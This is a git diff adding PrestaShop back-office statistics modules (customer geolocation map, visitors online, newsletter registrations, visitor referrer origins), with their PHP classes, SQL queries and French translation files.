`y` int(4) NOT NULL, + `id_country` INTEGER UNSIGNED NOT NULL, + PRIMARY KEY(`id_location_coords`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8')) + return false; + + $flag = 0; + $query = 'INSERT INTO `'._DB_PREFIX_.'location_coords` (`x`, `y`, `id_country`) VALUES '; + $result = Db::getInstance()->executeS('SELECT `id_country`, `iso_code` FROM `'._DB_PREFIX_.'country`;'); + foreach ($result as $index => $row) + { + if (isset($countries[$row['iso_code']])) + { + if ($flag) + $query .= ', '; + $query .= '(\''.$countries[$row['iso_code']]['x'].'\', \''.$countries[$row['iso_code']]['y'].'\', \''.$row['id_country'].'\')'; + $flag = 1; + } + } + return Db::getInstance()->execute($query.';'); + } + + function uninstall() + { + if (!parent::uninstall()) + return false; + return (Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'location_coords`')); + } + + function hookAdminStatsModules() + { + $this->_html = ' +
        '.$this->displayName.' +
        +

        '.$this->l('This module shows the distribution of the countries of your customers by displaying different sized points on the worldmap below. See the fame of your website all around the world and which continent you have yet to conquer.').'

        +
        +

        + +

        + +

        +
        '.$this->l('Guide').' +

        '.$this->l('Open to the world').'

        +

        +

          +
        • '.$this->l('Add new languages to your shop if you see that a sufficient part of your customers come from a foreign country.').'
        • +
        • '.$this->l('Enlarge your shipping area to meet the potential demand.').'
        • +
        +

        +
        '; + return $this->_html; + } + + public function getContent() + { + $output = '

        '.$this->displayName.'

        '; + return $output.$this->displayForm(); + } + + public function displayForm() + { + $map_size; + $cross_size; + $id_lang = (int)$this->context->language->id; + $wait = $this->l('Please wait...'); + + if ((file_exists('../modules/'.$this->name.'/'.$this->_map_path) == FALSE) || + (file_exists('../modules/'.$this->name.'/'.$this->_cross_path) == FALSE) || + (!($map_size = getimagesize('../modules/'.$this->name.'/'.$this->_map_path))) || + (!($cross_size = getimagesize('../modules/'.$this->name.'/'.$this->_cross_path)))) + return ("Error: cannot load images"); + + $output = ' + + +
        '.$this->l('Update coordinates').' +
        '.$this->l('Click on a country\'s name and define its position on the map').'

        +
        + +
        +
        '.$wait.'
        + + + + + + + + + + + + + +
        '; + return $output; + } +} + diff --git a/modules/statsgeolocation/translations/fr.php b/modules/statsgeolocation/translations/fr.php new file mode 100755 index 0000000..1b60fc8 --- /dev/null +++ b/modules/statsgeolocation/translations/fr.php @@ -0,0 +1,19 @@ +statsgeolocation_323d4eb70b252acb4a04eaf9e0882597'] = 'Géolocalisation'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_621bd20bc26d0f67bacffc7785616372'] = 'Affiche la provenance de vos clients'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_60503475047260bb2e6b815e3dcad910'] = 'Ce module montre la répartition de vos clients par un point plus ou moins gros sur la carte ci-dessous. Découvrez la popularité de votre boutique à l\'échelle du monde et voyez les continents qu\'il vous reste à conquérir.'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_e346362c256cd1ff6efd70288f769d89'] = 'S\'ouvrir au monde'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_1b625393440dce51a25ccb43a38ddf67'] = 'Ajoutez une nouvelle langue à votre boutique si vous constatez que suffisamment de clients viennent d\'un autre pays.'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_a2f24ad94046ee38db78c336564acd30'] = 'Elargissez votre zone de livraison pour répondre à une potentielle demande.'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_25e8f2fd2871c8423bbe4e254066cd98'] = 'Patientez...'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_e7173e323991c8c33ad2dae1d528fc2e'] = 'Mise à jour des coordonnées'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_60e421611f85e8faa9f6950ce71dab7a'] = 'Cliquez sur le nom d\'un pays puis sur la carte afin de définir son emplacement'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_64d80b7a177f4bd0a1f1dde09741852d'] = 'Cliquez sur la carte pour mettre à jour les coordonnées de :'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_dc25612aeb2ba1c2705fc2e9c947f084'] = 'Erreur : vous devez cliquer sur la carte ou sur le bouton Annuler'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{statsgeolocation}prestashop>statsgeolocation_ad3d06d03d94223fa652babc913de686'] = 'Valider'; diff --git a/modules/statsgeolocation/translations/index.php b/modules/statsgeolocation/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsgeolocation/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statslive/index.php b/modules/statslive/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statslive/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statslive/logo.gif b/modules/statslive/logo.gif new file mode 100755 index 0000000..7e2e980 Binary files /dev/null and b/modules/statslive/logo.gif differ diff --git a/modules/statslive/logo.png b/modules/statslive/logo.png new file mode 100755 index 0000000..bea2488 Binary files /dev/null and b/modules/statslive/logo.png differ diff --git a/modules/statslive/statslive.php b/modules/statslive/statslive.php new file mode 100755 index 0000000..e935f54 --- /dev/null +++ b/modules/statslive/statslive.php @@ -0,0 +1,177 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsLive extends Module +{ + private $html = ''; + + public function __construct() + { + $this->name = 'statslive'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Visitors online'); + $this->description = $this->l('Display the list of customers and visitors currently online.'); + } + + public function install() + { + return parent::install() && $this->registerHook('AdminStatsModules'); + } + + /** + * Get the number of online customers + * + * @return array(array, int) array of online customers entries, number of online customers + */ + private function getCustomersOnline() + { + $sql = 'SELECT u.id_customer, u.firstname, u.lastname, pt.name as page + FROM `'._DB_PREFIX_.'connections` c + LEFT JOIN `'._DB_PREFIX_.'connections_page` cp ON c.id_connections = cp.id_connections + LEFT JOIN `'._DB_PREFIX_.'page` p ON p.id_page = cp.id_page + LEFT JOIN `'._DB_PREFIX_.'page_type` pt ON p.id_page_type = pt.id_page_type + INNER JOIN `'._DB_PREFIX_.'guest` g ON c.id_guest = g.id_guest + INNER JOIN `'._DB_PREFIX_.'customer` u ON u.id_customer = g.id_customer + WHERE cp.`time_end` IS NULL + '.Shop::addSqlRestriction(false, 'c').' + AND TIME_TO_SEC(TIMEDIFF(NOW(), cp.`time_start`)) < 900 + GROUP BY c.id_connections + ORDER BY u.firstname, u.lastname'; + $results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + return array($results, Db::getInstance()->NumRows()); + } + + /** + * Get the number of online visitors + * + * @return array(array, int) array of online visitors entries, number of online visitors + */ + private function getVisitorsOnline() + { + if (Configuration::get('PS_STATSDATA_CUSTOMER_PAGESVIEWS')) + { + $sql = 'SELECT c.id_guest, c.ip_address, c.date_add, c.http_referer, pt.name as page + FROM `'._DB_PREFIX_.'connections` c + LEFT JOIN `'._DB_PREFIX_.'connections_page` cp ON c.id_connections = cp.id_connections + LEFT JOIN `'._DB_PREFIX_.'page` p ON p.id_page = cp.id_page + LEFT JOIN `'._DB_PREFIX_.'page_type` pt ON p.id_page_type = pt.id_page_type + INNER JOIN `'._DB_PREFIX_.'guest` g ON c.id_guest = g.id_guest + WHERE (g.id_customer IS NULL OR g.id_customer = 0) + '.Shop::addSqlRestriction(false, 'c').' + AND cp.`time_end` IS NULL + AND TIME_TO_SEC(TIMEDIFF(NOW(), cp.`time_start`)) < 900 + GROUP BY c.id_connections + ORDER BY c.date_add DESC'; + } + else + { + $sql = 'SELECT c.id_guest, c.ip_address, c.date_add, c.http_referer + FROM `'._DB_PREFIX_.'connections` c + INNER JOIN `'._DB_PREFIX_.'guest` g ON c.id_guest = g.id_guest + WHERE (g.id_customer IS NULL OR g.id_customer = 0) + '.Shop::addSqlRestriction(false, 'c').' + AND TIME_TO_SEC(TIMEDIFF(NOW(), c.`date_add`)) < 900 + ORDER BY c.date_add DESC'; + } + + $results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + return array($results, Db::getInstance()->NumRows()); + } + + public function hookAdminStatsModules($params) + { + list($customers, $totalCustomers) = $this->getCustomersOnline(); + list($visitors, $totalVisitors) = $this->getVisitorsOnline(); + $irow = 0; + + $this->html .= ''; + if (!Configuration::get('PS_STATSDATA_CUSTOMER_PAGESVIEWS')) + $this->html .= '
        '. + $this->l('You must activate the option "pages viewed for each customer" in the "Stats data-mining" module in order to see the pages viewed by your customers.').' +
        '; + $this->html .= ' +
        '.$this->l('Customers online').''; + if ($totalCustomers) + { + $this->html .= $this->l('Total:').' '.(int)$totalCustomers.' + + '; + foreach ($customers as $customer) + $this->html .= ' + + + + + + '; + $this->html .= '
        '.$this->l('ID').''.$this->l('Name').''.$this->l('Current Page').''.$this->l('View').'
        '.$customer['id_customer'].''.$customer['firstname'].' '.$customer['lastname'].''.$customer['page'].' + + + +
        '; + } + else + $this->html .= $this->l('Currently, there are no customers online.'); + $this->html .= '
        +
        +
        '.$this->l('Visitors online').''; + if ($totalVisitors) + { + $this->html .= $this->l('Total:').' '.(int)($totalVisitors).' +
        + + '; + foreach ($visitors as $visitor) + $this->html .= ' + + + + + + '; + $this->html .= '
        '.$this->l('Guest').''.$this->l('IP').''.$this->l('Since').''.$this->l('Current page').''.$this->l('Referrer').'
        '.$visitor['id_guest'].''.long2ip($visitor['ip_address']).''.substr($visitor['date_add'], 11).''.(isset($visitor['page']) ? $visitor['page'] : $this->l('Undefined')).''.(empty($visitor['http_referer']) ? $this->l('None') : parse_url($visitor['http_referer'], PHP_URL_HOST)).'
        '; + } + else + $this->html .= $this->l('There are no visitors online.'); + $this->html .= '
        '; + + return $this->html; + } +} + + diff --git a/modules/statslive/translations/en.php b/modules/statslive/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statslive/translations/fr.php b/modules/statslive/translations/fr.php new file mode 100755 index 0000000..9eb896d --- /dev/null +++ b/modules/statslive/translations/fr.php @@ -0,0 +1,23 @@ +statslive_fa55230e9791f2b71322869318a5f00f'] = 'Visiteurs en ligne'; +$_MODULE['<{statslive}prestashop>statslive_b8a5ea9b6e7f2d0b56fbb18e5b6b9246'] = 'Affiche la liste des clients et visiteurs en ligne actuellement'; +$_MODULE['<{statslive}prestashop>statslive_e6214c05e17c56f81e4a56f4c4fdce8c'] = 'Vous devez activer l\'option \"pages vues pour chaque client\" dans le module \"Récupération des données statistiques\" pour visualiser les pages consultées par vos clients.'; +$_MODULE['<{statslive}prestashop>statslive_5c948349bdf1a7a77ba54497d019e4ca'] = 'Clients en ligne'; +$_MODULE['<{statslive}prestashop>statslive_66c4c5112f455a19afde47829df363fa'] = 'Total :'; +$_MODULE['<{statslive}prestashop>statslive_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{statslive}prestashop>statslive_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statslive}prestashop>statslive_f88589c3e803217e3f6fe9d8e740e6e8'] = 'Page en cours'; +$_MODULE['<{statslive}prestashop>statslive_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{statslive}prestashop>statslive_4ce4b5e9a6a3e91ac46dec882a36e0db'] = 'Il n\'y a aucun client en ligne en ce moment.'; +$_MODULE['<{statslive}prestashop>statslive_adb831a7fdd83dd1e2a309ce7591dff8'] = 'Visiteur'; +$_MODULE['<{statslive}prestashop>statslive_a12a3079e14ced46e69ba52b8a90b21a'] = 'IP'; +$_MODULE['<{statslive}prestashop>statslive_38c50b731f70abc42c8baa3e7399b413'] = 'Depuis'; +$_MODULE['<{statslive}prestashop>statslive_13aa8652e950bb7c4b9b213e6d8d0dc5'] = 'Page en cours'; +$_MODULE['<{statslive}prestashop>statslive_b6f05e5ddde1ec63d992d61144452dfa'] = 'Origine'; +$_MODULE['<{statslive}prestashop>statslive_ec0fc0100c4fc1ce4eea230c3dc10360'] = 'Indéfini'; +$_MODULE['<{statslive}prestashop>statslive_6adf97f83acf6453d4a6a4b1070f3754'] = 'aucun'; +$_MODULE['<{statslive}prestashop>statslive_a55533db46597bee3cd16899c007257e'] = 'Il n\'y a aucun visiteur en ligne actuellement.'; diff --git a/modules/statslive/translations/index.php b/modules/statslive/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statslive/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsnewsletter/index.php b/modules/statsnewsletter/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsnewsletter/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsnewsletter/logo.gif b/modules/statsnewsletter/logo.gif new file mode 100755 index 0000000..06dd879 Binary files /dev/null and b/modules/statsnewsletter/logo.gif differ diff --git a/modules/statsnewsletter/logo.png b/modules/statsnewsletter/logo.png new file mode 100755 index 0000000..98a99c2 Binary files /dev/null and b/modules/statsnewsletter/logo.png differ diff --git a/modules/statsnewsletter/statsnewsletter.php b/modules/statsnewsletter/statsnewsletter.php new file mode 100755 index 0000000..9f9ba5c --- /dev/null +++ b/modules/statsnewsletter/statsnewsletter.php @@ -0,0 +1,171 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsNewsletter extends ModuleGraph +{ + private $_html = ''; + private $_query = ''; + private $_query2 = ''; + private $_option = ''; + + public function __construct() + { + $this->name = 'statsnewsletter'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Newsletter'); + $this->description = $this->l('Display newsletter registrations.'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function hookAdminStatsModules($params) + { + if (Module::isInstalled('blocknewsletter')) + { + $totals = $this->getTotals(); + if (Tools::getValue('export')) + $this->csvExport(array('type' => 'line', 'layers' => 3)); + $this->_html = ' +
        +

        '.$this->displayName.'

        +

        '.$this->l('Customer registrations:').' '.(int)$totals['customers'].'

        +

        '.$this->l('Visitor registrations: ').' '.(int)$totals['visitors'].'

        +

        '.$this->l('Both:').' '.(int)$totals['both'].'

        +
        '.$this->engine(array('type' => 'line', 'layers' => 3)).'
        +

        '.$this->l('CSV Export').'

        +
        '; + } + else + $this->_html = '

        '.$this->l('The "Newsletter Block" module must be installed.').'

        '; + + return $this->_html; + } + + private function getTotals() + { + $sql = 'SELECT COUNT(*) as customers + FROM `'._DB_PREFIX_.'customer` + WHERE 1 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND `newsletter_date_add` BETWEEN '.ModuleGraph::getDateBetween(); + $result1 = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + + $sql = 'SELECT COUNT(*) as visitors + FROM '._DB_PREFIX_.'newsletter + WHERE 1 + '.Shop::addSqlRestriction().' + AND `newsletter_date_add` BETWEEN '.ModuleGraph::getDateBetween(); + $result2 = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + return array('customers' => $result1['customers'], 'visitors' => $result2['visitors'], 'both' => $result1['customers'] + $result2['visitors']); + } + + protected function getData($layers) + { + $this->_titles['main'][0] = $this->l('Newsletter statistics'); + $this->_titles['main'][1] = $this->l('customers'); + $this->_titles['main'][2] = $this->l('Visitors'); + $this->_titles['main'][3] = $this->l('Both'); + + $this->_query = 'SELECT newsletter_date_add + FROM `'._DB_PREFIX_.'customer` + WHERE 1 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND `newsletter_date_add` BETWEEN '; + + $this->_query2 = 'SELECT newsletter_date_add + FROM '._DB_PREFIX_.'newsletter + WHERE 1 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND `newsletter_date_add` BETWEEN '; + $this->setDateGraph($layers, true); + } + + protected function setAllTimeValues($layers) + { + $result1 = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate()); + $result2 = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query2.$this->getDate()); + foreach ($result1 as $row) + $this->_values[0][(int)substr($row['newsletter_date_add'], 0, 4)] += 1; + if ($result2) + foreach ($result2 as $row) + $this->_values[1][(int)substr($row['newsletter_date_add'], 0, 4)] += 1; + foreach ($this->_values[2] as $key => $zerofill) + $this->_values[2][$key] = $this->_values[0][$key] + $this->_values[1][$key]; + } + + protected function setYearValues($layers) + { + $result1 = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate()); + $result2 = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query2.$this->getDate()); + foreach ($result1 as $row) + $this->_values[0][(int)substr($row['newsletter_date_add'], 5, 2)] += 1; + if ($result2) + foreach ($result2 as $row) + $this->_values[1][(int)substr($row['newsletter_date_add'], 5, 2)] += 1; + foreach ($this->_values[2] as $key => $zerofill) + $this->_values[2][$key] = $this->_values[0][$key] + $this->_values[1][$key]; + } + + protected function setMonthValues($layers) + { + $result1 = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate()); + $result2 = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query2.$this->getDate()); + foreach ($result1 as $row) + $this->_values[0][(int)substr($row['newsletter_date_add'], 8, 2)] += 1; + if ($result2) + foreach ($result2 as $row) + $this->_values[1][(int)substr($row['newsletter_date_add'], 8, 2)] += 1; + foreach ($this->_values[2] as $key => $zerofill) + $this->_values[2][$key] = $this->_values[0][$key] + $this->_values[1][$key]; + } + + protected function setDayValues($layers) + { + $result1 = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate()); + $result2 = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query2.$this->getDate()); + foreach ($result1 as $row) + $this->_values[0][(int)substr($row['newsletter_date_add'], 11, 2)] += 1; + if ($result2) + foreach ($result2 as $row) + $this->_values[1][(int)substr($row['newsletter_date_add'], 11, 2)] += 1; + foreach ($this->_values[2] as $key => $zerofill) + $this->_values[2][$key] = $this->_values[0][$key] + $this->_values[1][$key]; + } +} + + diff --git a/modules/statsnewsletter/translations/en.php b/modules/statsnewsletter/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statsnewsletter/translations/fr.php b/modules/statsnewsletter/translations/fr.php new file mode 100755 index 0000000..f1affbe --- /dev/null +++ b/modules/statsnewsletter/translations/fr.php @@ -0,0 +1,16 @@ +statsnewsletter_ffb7e666a70151215b4c55c6268d7d72'] = 'Newsletter'; +$_MODULE['<{statsnewsletter}prestashop>statsnewsletter_02fdcd14459a8b5b8b0e3ac877bcf732'] = 'Affiche les inscriptions à la newsletter'; +$_MODULE['<{statsnewsletter}prestashop>statsnewsletter_61a898af87607e3f4d41c3613d8761c7'] = 'Inscriptions depuis le compte client :'; +$_MODULE['<{statsnewsletter}prestashop>statsnewsletter_7fe462207f98012d9ff00cf0e6633c94'] = 'Inscriptions depuis le bloc sur le front-office :'; +$_MODULE['<{statsnewsletter}prestashop>statsnewsletter_64342cd480b27dfeefb08bace6e82fdc'] = 'Les deux :'; +$_MODULE['<{statsnewsletter}prestashop>statsnewsletter_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsnewsletter}prestashop>statsnewsletter_116858de0aefceca03e4f05150e5084b'] = 'Le module bloc Newsletter doit être installé'; +$_MODULE['<{statsnewsletter}prestashop>statsnewsletter_cf74c2815ab62be1efa55a4a5d3f46a4'] = 'Statistiques de la newsletter'; +$_MODULE['<{statsnewsletter}prestashop>statsnewsletter_4b6f7d34a58ba399f077685951d06738'] = 'Clients'; +$_MODULE['<{statsnewsletter}prestashop>statsnewsletter_ae5d01b6efa819cc7a7c05a8c57fcc2c'] = 'Visiteurs'; +$_MODULE['<{statsnewsletter}prestashop>statsnewsletter_130c5b3473c57faa76e2a1c54e26f88e'] = 'Les deux'; diff --git a/modules/statsnewsletter/translations/index.php b/modules/statsnewsletter/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsnewsletter/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsorigin/index.php b/modules/statsorigin/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsorigin/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsorigin/logo.gif b/modules/statsorigin/logo.gif new file mode 100755 index 0000000..ae910c2 Binary files /dev/null and b/modules/statsorigin/logo.gif differ diff --git a/modules/statsorigin/logo.png b/modules/statsorigin/logo.png new file mode 100755 index 0000000..1c15ff7 Binary files /dev/null and b/modules/statsorigin/logo.png differ diff --git a/modules/statsorigin/statsorigin.php b/modules/statsorigin/statsorigin.php new file mode 100755 index 0000000..0f78864 --- /dev/null +++ b/modules/statsorigin/statsorigin.php @@ -0,0 +1,150 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsOrigin extends ModuleGraph +{ + private $_html; + + public function __construct() + { + $this->name = 'statsorigin'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Visitors origin'); + $this->description = $this->l('Display the website(s) your visitors came from.'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + private function getOrigins($dateBetween) + { + $directLink = $this->l('Direct link'); + $sql = 'SELECT http_referer + FROM '._DB_PREFIX_.'connections + WHERE 1 + '.Shop::addSqlRestriction().' + AND date_add BETWEEN '.$dateBetween; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->query($sql); + $websites = array($directLink => 0); + while ($row = Db::getInstance(_PS_USE_SQL_SLAVE_)->nextRow($result)) + { + if (!isset($row['http_referer']) || empty($row['http_referer'])) + ++$websites[$directLink]; + else + { + $website = preg_replace('/^www./', '', parse_url($row['http_referer'], PHP_URL_HOST)); + if (!isset($websites[$website])) + $websites[$website] = 1; + else + ++$websites[$website]; + } + } + arsort($websites); + return $websites; + } + + public function hookAdminStatsModules() + { + $websites = $this->getOrigins(ModuleGraph::getDateBetween()); + if (Tools::getValue('export')) + if (Tools::getValue('exportType') == 'top') + $this->csvExport(array('type' => 'pie')); + $this->_html = '

        '.$this->l('Origin').'

        '; + if (count($websites)) + { + $this->_html .= ' +

        '.$this->l('Here we break down the 10 most popular referral websites that call customers to your e-store.').'

        +
        '.$this->engine(array('type' => 'pie')).'

        +

        '.$this->l('CSV Export').'


        + + + + + + '; + foreach ($websites as $website => $total) + $this->_html .= ' + + '; + $this->_html .= '
        '.$this->l('Origin').''.$this->l('Total').'
        '.(!strstr($website, ' ') ? '' : '').$website.(!strstr($website, ' ') ? '' : '').''.$total.'
        '; + } + else + $this->_html .= '

        '.$this->l('Direct links only').'

        '; + $this->_html .= '

        +

        '.$this->l('Guide').'

        +

        '.$this->l('What is a referral website?').'

        +

        + '.$this->l('When visiting a webpage, the referrer is the URL of the previous webpage from which a link was followed.').'
        + '.$this->l('A referrer enables you to know which keywords visitors use in search engines when browsing for your online store.').'

        + '.$this->l('A referrer can be:').' +

          +
        • '.$this->l('Someone who posts a link to your shop.').'
        • +
        • '.$this->l('A partner who has agreed to a link exchange in order to attract new customers.').'
        • +
        +

        +
        '; + return $this->_html; + } + + protected function getData($layers) + { + $this->_titles['main'] = $this->l('Top ten referral websites'); + $websites = $this->getOrigins($this->getDate()); + $total = 0; + $total2 = 0; + $i = 0; + foreach ($websites as $website => $totalRow) + { + if (!$totalRow) + continue; + $total += $totalRow; + if ($i++ < 9) + { + $this->_legend[] = $website; + $this->_values[] = $totalRow; + $total2 += $totalRow; + } + } + if ($total != $total2) + { + $this->_legend[] = $this->l('Others'); + $this->_values[] = $total - $total2; + } + } +} + + diff --git a/modules/statsorigin/translations/en.php b/modules/statsorigin/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statsorigin/translations/fr.php b/modules/statsorigin/translations/fr.php new file mode 100755 index 0000000..39ebd04 --- /dev/null +++ b/modules/statsorigin/translations/fr.php @@ -0,0 +1,22 @@ +statsorigin_f0b1507c6bdcdefb60a0e6f9b89d4ae8'] = 'Sites affluents'; +$_MODULE['<{statsorigin}prestashop>statsorigin_009c731e158a4235be55aaeea5c05e49'] = 'Affiche les sites d\'origine de vos visiteurs'; +$_MODULE['<{statsorigin}prestashop>statsorigin_14542f5997c4a02d4276da364657f501'] = 'Lien direct'; +$_MODULE['<{statsorigin}prestashop>statsorigin_3edf8ca26a1ec14dd6e91dd277ae1de6'] = 'Origine'; +$_MODULE['<{statsorigin}prestashop>statsorigin_d7b5bac28f53a30e9d831b6a7fa2f484'] = 'Pourcentage des 10 meilleurs sites affluents par lesquels les visiteurs passent pour accéder à votre boutique.'; +$_MODULE['<{statsorigin}prestashop>statsorigin_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsorigin}prestashop>statsorigin_96b0141273eabab320119c467cdcaf17'] = 'Total'; +$_MODULE['<{statsorigin}prestashop>statsorigin_0bebf95ee829c33f34fde535ed4ed100'] = 'Liens directs uniquement'; +$_MODULE['<{statsorigin}prestashop>statsorigin_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsorigin}prestashop>statsorigin_cec998cc46cd200fa97490137de2cc7f'] = 'Qu\'est-ce qu\'un site affluent (référant) ?'; +$_MODULE['<{statsorigin}prestashop>statsorigin_77de261cf4c31a96146bcf1b52fd9856'] = 'Lorsqu\'un internaute visite une page web, le site affluent est l\'URL du lien qu\'a suivi le visiteur pour accéder à sa page web actuelle.'; +$_MODULE['<{statsorigin}prestashop>statsorigin_bb49f80b601ed472d433b934244b0afd'] = 'Un référant vous permet de savoir quels sont les mots-clés tapés par les visiteurs dans les moteurs de recherche quand ils tentent d\'aller sur votre boutique ; et ainsi d\'optimiser le référencement de votre boutique.'; +$_MODULE['<{statsorigin}prestashop>statsorigin_af19c8da1c414055c960a73d86471119'] = 'Un référant peut être :'; 